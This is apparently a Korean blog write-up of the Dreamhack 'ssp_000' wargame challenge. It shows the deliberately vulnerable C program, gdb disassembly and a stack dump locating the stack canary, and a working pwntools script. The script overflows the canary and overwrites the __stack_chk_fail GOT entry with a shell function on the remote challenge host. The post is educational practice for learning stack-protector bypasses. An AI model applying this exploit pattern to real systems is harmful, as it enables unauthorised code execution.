728x90
반응형
오늘은 내가 ssp를 배운 기념으로 드림핵의 ssp문제를 풀어볼 것이다.
그러면 바로 코드를 살펴보겠다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
음... 위 코드만으로 보자면 일단은 Canary를 leak을 하지 못할 것이다.
위 코드로는 어떻게 exploit 할지 모를 것 같다.
그러면 gdb로 더 자세히 확인해보자.
1. gdb에서 canary 확인하기
먼저 main을 디스어셈블 해보자.
(gdb) disas main
Dump of assembler code for function main:
0x00000000004008fb <+0>: push rbp
0x00000000004008fc <+1>: mov rbp,rsp
0x00000000004008ff <+4>: sub rsp,0x70
0x0000000000400903 <+8>: mov DWORD PTR [rbp-0x64],edi
0x0000000000400906 <+11>: mov QWORD PTR [rbp-0x70],rsi
0x000000000040090a <+15>: mov rax,QWORD PTR fs:0x28
0x0000000000400913 <+24>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400917 <+28>: xor eax,eax
0x0000000000400919 <+30>: lea rdx,[rbp-0x50]
0x000000000040091d <+34>: mov eax,0x0
0x0000000000400922 <+39>: mov ecx,0x8
0x0000000000400927 <+44>: mov rdi,rdx
0x000000000040092a <+47>: rep stos QWORD PTR es:[rdi],rax
0x000000000040092d <+50>: mov eax,0x0
0x0000000000400932 <+55>: call 0x40088e <initialize>
0x0000000000400937 <+60>: lea rax,[rbp-0x50]
0x000000000040093b <+64>: mov edx,0x80
0x0000000000400940 <+69>: mov rsi,rax
0x0000000000400943 <+72>: mov edi,0x0
0x0000000000400948 <+77>: call 0x400710 <read@plt>
0x000000000040094d <+82>: mov edi,0x400a55
0x0000000000400952 <+87>: mov eax,0x0
0x0000000000400957 <+92>: call 0x4006f0 <printf@plt>
0x000000000040095c <+97>: lea rax,[rbp-0x60]
0x0000000000400960 <+101>: mov rsi,rax
0x0000000000400963 <+104>: mov edi,0x400a5d
0x0000000000400968 <+109>: mov eax,0x0
0x000000000040096d <+114>: call 0x400750 <__isoc99_scanf@plt>
0x0000000000400972 <+119>: mov edi,0x400a61
0x0000000000400977 <+124>: mov eax,0x0
0x000000000040097c <+129>: call 0x4006f0 <printf@plt>
---Type <return> to continue, or q <return> to quit---
0x0000000000400981 <+134>: lea rax,[rbp-0x58]
0x0000000000400985 <+138>: mov rsi,rax
0x0000000000400988 <+141>: mov edi,0x400a5d
0x000000000040098d <+146>: mov eax,0x0
0x0000000000400992 <+151>: call 0x400750 <__isoc99_scanf@plt>
0x0000000000400997 <+156>: mov rax,QWORD PTR [rbp-0x60]
0x000000000040099b <+160>: mov rdx,rax
0x000000000040099e <+163>: mov rax,QWORD PTR [rbp-0x58]
0x00000000004009a2 <+167>: mov QWORD PTR [rdx],rax
0x00000000004009a5 <+170>: mov eax,0x0
0x00000000004009aa <+175>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004009ae <+179>: xor rcx,QWORD PTR fs:0x28
0x00000000004009b7 <+188>: je 0x4009be <main+195>
0x00000000004009b9 <+190>: call 0x4006d0 <__stack_chk_fail@plt>
0x00000000004009be <+195>: leave
0x00000000004009bf <+196>: ret
그러면 카나리 값의 위치를 확인하기 위해서
일단 read를 call 할 때 브레이크를 걸어보자.
실행하고 rsi를 살펴보면 카나리의 값이 나온다.
(gdb) b *0x0000000000400948
Breakpoint 1 at 0x400948
(gdb) r
Starting program: /home/psj/ssp_000
Breakpoint 1, 0x0000000000400948 in main ()
(gdb) i r rsi
rsi 0x7fffffffde00 140737488346624
(gdb) x/40gx 0x7fffffffde00
0x7fffffffde00: 0x0000000000000000 0x0000000000000000
0x7fffffffde10: 0x0000000000000000 0x0000000000000000
0x7fffffffde20: 0x0000000000000000 0x0000000000000000
0x7fffffffde30: 0x0000000000000000 0x0000000000000000
0x7fffffffde40: 0x00007fffffffdf30 0x95e122e28cf06000 <<<<<---- canary
0x7fffffffde50: 0x00000000004009c0 0x00007ffff7a2d840
0x7fffffffde60: 0x0000000000000001 0x00007fffffffdf38
0x7fffffffde70: 0x00000001f7ffcca0 0x00000000004008fb
0x7fffffffde80: 0x0000000000000000 0xaa77d80aa93e6705
0x7fffffffde90: 0x0000000000400780 0x00007fffffffdf30
0x7fffffffdea0: 0x0000000000000000 0x0000000000000000
0x7fffffffdeb0: 0x55882775067e6705 0x558837cf154e6705
0x7fffffffdec0: 0x0000000000000000 0x0000000000000000
0x7fffffffded0: 0x0000000000000000 0x00007fffffffdf48
0x7fffffffdee0: 0x00007ffff7ffe168 0x00007ffff7de780b
0x7fffffffdef0: 0x0000000000000000 0x0000000000000000
0x7fffffffdf00: 0x0000000000400780 0x00007fffffffdf30
0x7fffffffdf10: 0x0000000000000000 0x00000000004007a9
0x7fffffffdf20: 0x00007fffffffdf28 0x000000000000001c
0x7fffffffdf30: 0x0000000000000001 0x00007fffffffe2cf
그러면 80바이트를 넣으면 카나리를 덮을 수 있다.
2. exploit
이제 exploit을 할 방법을 생각해야 한다.
일단 아까 메인을 디스어셈 한 거에서 stack chk fail 함수를 부르는 부분이 ret직전에 있다.
0x00000000004009ae <+179>: xor rcx,QWORD PTR fs:0x28
0x00000000004009b7 <+188>: je 0x4009be <main+195>
0x00000000004009b9 <+190>: call 0x4006d0 <__stack_chk_fail@plt>
0x00000000004009be <+195>: leave
0x00000000004009bf <+196>: ret
위 함수를 부르기 전에 임의의 주소에 값을 받는다.
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
(아까 C코드)
canary를 변조를 하면 무조건 stack chk fail이 실행된다.
그러면 처음에 nop을 80바이트를 넣어서 카나리를 변조하고, 다음에 임의의 주소에 값을 받을 때, addr에 stack_chk_fail의 got를 넣고 value에 get_shell의 함수를 넣으면 쉘을 실행할 수 있을 것이다.
그러면 마지막으로 get_shell의 주소를 확인하자.
(gdb) info func get_shell
All functions matching regular expression "get_shell":
Non-debugging symbols:
0x00000000004008ea get_shell
0x4008ea에 있다.
이제 exploit code를 만들어 보자.
from pwn import *
#p = process("./ssp_000")
p = remote("host1.dreamhack.games",15298)
e = ELF("./ssp_000")
p.sendline(b"A"*80) #nop 80bytes
p.recvuntil("r : ") #Addr :
p.sendline(str(e.got['__stack_chk_fail']))
p.recvuntil("e : ") #value :
p.sendline(str(0x4008ea))
p.interactive()
이제 스크립트를 실행해보자.
728x90
반응형
'워게임' 카테고리의 다른 글
Dreamhack - out_of_bound(writeup) (0) | 2021.08.07 |
---|---|
Dreamhack - ssp_001 (0) | 2021.08.01 |
Dreamhack - web-misconf-1 (0) | 2021.07.29 |
Dreamhack - basic_exploitation_002 (0) | 2021.07.28 |
HackCTF - ROP (0) | 2021.07.27 |